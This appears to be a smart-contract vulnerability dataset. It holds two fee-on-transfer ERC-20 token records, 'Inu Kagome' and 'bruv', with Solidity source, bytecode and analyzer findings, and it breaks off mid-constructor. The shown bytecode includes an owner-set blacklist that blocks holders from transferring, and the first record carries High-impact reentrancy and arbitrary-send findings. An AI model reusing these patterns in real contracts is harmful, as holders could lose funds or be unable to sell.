if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280600a81526020017f496e75204b61676f6d6500000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b600068056bc75e2d63100000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f20494e554b412000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca8368056bc75e2d6310000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b60008060006006549050600068056bc75e2d63100000905061242f68056bc75e2d631000006006546120e690919063ffffffff16565b82101561244e5760065468056bc75e2d63100000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a6008546005612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206f929bcb14415de72fbb409a220dc363c4c386a1ad187ab56eec01e20624915664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,133 |
0x0b5f25f2c8384947822e849fce656867a98259ae
|
/**
*Submitted for verification at Etherscan.io on 2021-11-12
*/
/*
https://t.me/bruvcoin
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract bruv is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "bruv";
string private constant _symbol = "BRUV";
uint8 private constant _decimals = 9;
//RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 6;
uint256 private _redisfee = 2;
//Bots
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _DevAddress;
address payable private _marketing;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_DevAddress = addr1;
_marketing = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_DevAddress] = true;
